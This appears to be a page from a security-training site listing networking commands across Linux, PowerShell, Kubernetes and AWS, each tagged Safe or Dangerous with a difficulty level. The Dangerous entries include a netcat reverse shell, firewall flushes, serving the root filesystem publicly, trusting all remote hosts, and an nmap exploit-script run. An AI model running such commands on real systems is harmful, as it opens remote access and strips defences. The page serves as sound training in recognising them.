← ReflexSec
Networking
Every command ReflexSec uses, with the explanation behind the call. No timer — read at your own pace.
AllFile SystemNetworkingPrivilege EscalationPersistenceCredential AccessData ExfiltrationProcess ExecutionShellContainersCloudGit / DevelopmentLinuxmacOSWindowsPowerShellPythonJavaScript / NodeDockerKubernetesCI/CDWeb Security
- Safe
curl -s https://example.com/healthIntermediate - Safe
curl -fsSL https://example.com/release.asc | gpg --importIntermediate - Safe
ss -tulpnAdvanced - Safe
nc -zv example.com 443Advanced - Dangerous
nc -e /bin/sh 198.51.100.20 4444Advanced - Safe
sudo iptables -L -n -vExpert - Safe
curl -s -H "Authorization: Bearer $API_TOKEN" https://example.com/api/status | jq .Advanced - Dangerous
sudo iptables -F && sudo iptables -P INPUT ACCEPTExpert - Safe
curl -fsS -X POST https://example.com/api/deploy -H "Authorization: Bearer $DEPLOY_TOKEN" -d '{"ref":"main"}'Expert - Dangerous
python3 -m http.server 8000 --bind 0.0.0.0 --directory /Nightmare - Safe
nc -z -w2 db.example.internal 5432ProNightmare - Safe
curl -s https://api.example.com/status | jq '.uptime'ProIntermediate - Safe
wget -qO- https://api.example.com/feed.json | jq '.entries[0]'ProIntermediate - Safe
curl -s https://api.example.com/hosts.json | jq -r '.[].fqdn' | sortProAdvanced - Safe
curl -s https://api.example.com/v1/nodes | jq --arg re "$NAME_FILTER" '[.[] | select(.name | test($re))]'ProNightmare - Safe
tar -czf - ./logs | ssh deploy@logs.example.com 'cat > /backup/logs.tar.gz'ProExpert - Safe
rsync -av ./site/ deploy@web.example.com:/var/www/site/ProIntermediate - Safe
rsync -av --delete --dry-run ./dist/ deploy@web.example.com:/var/www/dist/ProExpert - Safe
rsync -av -e 'ssh -p 2222 -i ~/.ssh/deploy_ed25519' ./dist/ deploy@web.example.com:/var/www/dist/ProExpert - Safe
curl -s -o release.tar.gz https://downloads.example.com/app-1.4.2.tar.gzProIntermediate - Safe
curl --proto '=https' --tlsv1.2 -sSf https://downloads.example.com/install.sh -o install.shProExpert - Safe
wget -q -O checksums.txt https://downloads.example.com/SHA256SUMSProAdvanced - Safe
ssh -i ~/.ssh/deploy_ed25519 deploy@web.example.com 'systemctl status app'ProAdvanced - Dangerous
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null deploy@web.example.comProIntermediate - Safe
scp -i ~/.ssh/deploy_ed25519 ./dist/app.tar.gz deploy@web.example.com:/srv/app/ProIntermediate - Safe
Invoke-RestMethod https://api.example.com/v1/health | Select-Object -ExpandProperty statusProIntermediate - Safe
Invoke-Command -ComputerName web01.example.com -ScriptBlock { Get-Service W3SVC } -Credential $credProExpert - Dangerous
Enable-PSRemoting -Force -SkipNetworkProfileCheckProExpert - Dangerous
New-NetFirewallRule -DisplayName 'Remote Admin' -Direction Inbound -LocalPort 5985 -Protocol TCP -Action Allow -Profile AnyProExpert - Safe
Set-Item WSMan:\localhost\Client\TrustedHosts -Value 'jump01.example.com' -Concatenate -ForceProNightmare - Dangerous
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -ForceProNightmare - Dangerous
Set-Content -Path C:\Windows\System32\drivers\etc\hosts -Value '198.51.100.25 packages.example.com' -ForceProNightmare - Safe
Invoke-Command -ComputerName (Get-Content .\all-servers.txt) -ScriptBlock { Get-MpComputerStatus } | Export-Csv .\defender-status.csv -NoTypeInformationProNightmare - Safe
kubectl port-forward svc/api 8080:80ProAdvanced - Dangerous
kubectl port-forward svc/postgres 5432:5432 --address 0.0.0.0ProIntermediate - Safe
kubectl exec -it netshoot -- nc -zv postgres 5432ProAdvanced - Safe
kubectl exec -it netshoot -- curl -s -o /dev/null -w '%{http_code}' http://api.example.internal:8080/healthzProExpert - Dangerous
kubectl proxy --address=0.0.0.0 --accept-hosts='.*'ProExpert - Dangerous
kubectl patch svc api -n production -p '{"spec":{"type":"LoadBalancer"}}'ProNightmare - Dangerous
kubectl config set-cluster prod --insecure-skip-tls-verify=trueProNightmare - Safe
aws ec2 revoke-security-group-ingress --group-id sg-0a1b2c3d --protocol tcp --port 22 --cidr 0.0.0.0/0ProIntermediate - Safe
aws ec2 describe-security-groups --filters Name=ip-permission.cidr,Values=0.0.0.0/0 --query 'SecurityGroups[].GroupId'ProAdvanced - Dangerous
aws rds modify-db-instance --db-instance-identifier prod-db --publicly-accessible --apply-immediatelyProExpert - Safe
curl -s https://api.example.com/v3/hashes/8f2a1c9d4b3e7f60ProAdvanced - Safe
tshark -r ./capture.pcap -Y 'http.request' -T fields -e http.host | sort -uProNightmare - Safe
iptables -L FORWARD -n -vProNightmare - Dangerous
qemu-system-x86_64 -hda ./analysis.qcow2 -m 4096 -netdev user,id=n0 -device e1000,netdev=n0ProExpert - Dangerous
openssl s_client -connect c2.example.net:443ProExpert - Safe
nmap -sn 198.51.100.0/24ProIntermediate - Dangerous
nmap -sn 192.0.2.0/24ProIntermediate - Safe
nmap -T2 --top-ports 100 198.51.100.10ProAdvanced - Safe
curl -s -X POST https://redteam.example.com/deconflict -d 'window=14:00-16:00&host=198.51.100.10'ProAdvanced - Safe
ssh -i ~/.ssh/rt_ed25519 operator@198.51.100.5ProAdvanced - Safe
nc -zv -w2 198.51.100.10 22ProAdvanced - Dangerous
nmap -sV vendor-portal.example.orgProAdvanced - Dangerous
nmap -sS -T4 198.51.100.0/24ProAdvanced - Safe
proxychains -q nmap -sT 203.0.113.0/24ProExpert - Safe
sudo responder -I eth0 -AProExpert - Dangerous
nmap --script 'exploit' -p 445 203.0.113.50ProAdvanced - Safe
socat TCP-LISTEN:8443,fork TCP:198.51.100.5:443ProNightmare - Safe
sudo tcpdump -i eth0 -w rt-2026-014.pcap host 198.51.100.10ProAdvanced - Dangerous
sudo iptables -FProAdvanced - Safe
sudo iptables -A OUTPUT -d 203.0.113.66 -j DROPProIntermediate - Safe
ss -tanp > /evidence/ir-2026-004/connections.txtProAdvanced - Safe
sudo iptables -I INPUT -s 203.0.113.66 -j DROPProAdvanced - Safe
sudo tcpdump -i eth0 -w /evidence/ir-2026-004/capture.pcap not port 22ProAdvanced - Dangerous
sudo systemctl restart networkingProAdvanced - Safe
aws ec2 modify-instance-attribute --instance-id i-0abc123def456789 --groups sg-quarantineProExpert - Safe
openssl x509 -in server.pem -noout -datesBeginner - Safe
curl -sSf https://example.com/healthzBeginner - Dangerous
iptables -P INPUT ACCEPTBeginner - Dangerous
systemctl disable --now firewalldBeginner